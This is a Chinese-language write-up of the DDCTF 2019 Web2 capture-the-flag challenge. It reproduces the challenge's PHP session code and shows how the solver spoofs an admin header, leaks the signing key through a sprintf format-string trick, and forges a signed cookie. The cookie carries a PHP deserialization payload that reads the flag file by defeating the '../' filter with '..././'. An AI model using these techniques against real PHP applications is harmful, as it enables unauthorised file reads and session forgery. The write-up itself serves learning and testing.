DDCTF 2019 Web2 Writeup

DDCTF 2019 Web2 Writeup

安全 3045 字 / 6 分钟

今天中午还在上物原课时,突然在群里看到 DDCTF 开始了!我天!不是明天吗? 下课后赶紧回宿舍做题,嘛……还真挺硬核的。(其实是自己太菜了

滴~

出题人脑子有泡。

WEB 签到题

个人感觉是很不错的题。如果没有被那个 Restlet Client 框架给坑了,今下午数据结构上机课上就出 flag 了。 进入题目,发现提示没有权限访问,F12 打开开发者面板,发现会自动执行auth()函数,同时引入了js/index.js文件,打开后看到会向http://117.51.158.44/app/Auth.php发送请求,其中请求头中会包含didictf_username。结合题目提示我们没有权限,可以尝试发送包含didictf_username值为admin的请求头。

之后会让我们访问app/fL2XID2i0Cdh.php,然后就是愉快的代码审计啦: 先贴代码: url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

代码其实不算很复杂,入口是在app/Session.php文件中Sessionindex方法,首先调用父类的auth()方法就是上面对请求头的检测。之后它会尝试去读一个自己定义的 Session,如果没有的话,就生成一个。我们先去看一下它 Session 生成的步骤。

生成 Session

首先是生成一个 32 位的随机session_id字符串,然后$userdata就是最后 Session 中的数据。里面包含了我们的 IP,浏览器 UA 等信息。最后会对这个存有信息的$userdata数据进行 PHP 序列化。同时会把序列化的结果,与密钥$eancrykey拼接,做一次 md5 后拼接在结果后面,起到签名防伪造的效果。 最后将整个结果以 Cookie 的形式存在用户本地。加了个$eancrykey做 md5,这确实是个不错的本地存 Cookie 的方法啊~

读取 Session

读取的过程其实也就是相反的。首先是检测有没有名为ddctf_id的 Cookie,没有的话就返回FALSE。如果有的话,截取后面 32 位,即那段 md5 的签名。再截取前面的内容,即数据正文。用加密的方式检验一下 Cookie 有没有被篡改。没有的话,就对数据进行 PHP 反序列化。检查数据中的session_id ip_address ip_address元素是否存在。 然后判断一下是否传入了名为nickname的 POST 参数,如果有的话,就格式化字符串输出出来。后面还对ip_addressip_address做了检验。

获取 eancrykey

好的,代码介绍完了,开始分析下吧。 这里我们传入修改后的 Cookie,都需要用$eancrykey进行检验,因此得想办法得到$eancrykey的值,这样就可以伪造 Cookie 了。 在传入nickname POST 参数时,十分违和地出现了个$eancrykey。这里把$_POST["nickname"]$this->eancrykey放到了同一个数组中,使用foreach循环后再使用了格式化字符串sprintf()。这里想到了一个很机智的方法:我们只需要 POST 请求app/Session.php,传入nickname的值为%s,第一次格式化字符串时,会把"Welcome my friend %s"中的%s换成%s,第二就会把%s换成$this->eancrykey,这样我们就得到$eancrykey了。

注意,格式化字符串的代码是在session_read()方法里的,因此我们需要先空白请求一次,拿到一个 Cookie,再带着这个 Cookie 请求,这样才能进入session_read()方法。 综上,拿到$eancrykeyEzblrbNS得到-eancrykey

反序列化

这里给了个 hint//eancrykey and flag under the folder,因此我们需要想办法读取../config/文件夹下的 flag。在Application类中的析构函数中,有一个file_get_contents()可供我们读取文件。其中的参数$path来自于Application类中的$path属性。而$path属性的初始值是空的。根据这里含有魔术方法__destruct(),并且后面有unserialize()函数,想到我们尝试可以通过 PHP 反序列化来修改$path的值。

pop 链的构造

之前写 Typecho 反序列化漏洞复现的时候,我提到过反序列化难就难在 pop 链的构造。这里的unserialize()函数在触发反序列化后,之后只有:

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }

中间是我们刚才用的获取$eancrykey的地方,忽略。之后两个是检测$session['ip_address']$session['user_agent']的值。这里其实可以看做是一个提示。因为$session['ip_address']$session['user_agent']都会被检查,那么唯一自由的地方其实就是$session['session_id']了。 这里的!isset($session['session_id']),我们也可以理解成是!isset($session->session_id),即调用session_id方法。因此,我们可以把session_id属性设置成Application类的实例,这样就实现了对Application实例的调用。 我刚开始在这里其实产生了一个误区:我尝试去修改程序原本$ddctf = new Session();Session,即这个$ddctf$path的值。然而正确做法是我们自己new的一个Application实例,通过反序列化修改这个实例的值后,再调用这个实例。(还是对反序列化理解的不够啊

编写 payload

梳理完整个流程后,开始写 payload 吧~ 先把我们要的类复制过来,方法什么都可以丢掉,只留数据就好。

Class Application {
    var $path = '..././config/flag.txt';	// 需要修改的值
}

$eancrykey = 'EzblrbNS';	// 设置 $eancrykey,用于签 Cookie

$userdata = array(
	'session_id' => new Application(),		// 在这里触发反序列化
	'ip_address' => 'xxx.xxx.xxx.xxx',
	'user_agent' => 'ua',
	'user_data' => ''
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);

echo($cookiedata);

这里的$path还会过一次sanitizepath()方法的检测,过滤了../,只要双写成..././即可。之后出来的../config/flag.txt刚好满足题目所要求的 18 位字符。跑一遍这个 payload,拿到序列化后的 Cookie,用 burp 发一波就可以拿到 flag 了: 最终payload

DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

之前是拿 Restlet Client 插件,直到最后才发现这东西压根没有替换我的 Cookie,一直都用浏览器中存的 Cookie 发过去,难怪一直不出提示。浪费我超久时间,气死。Burp Suite 大法好!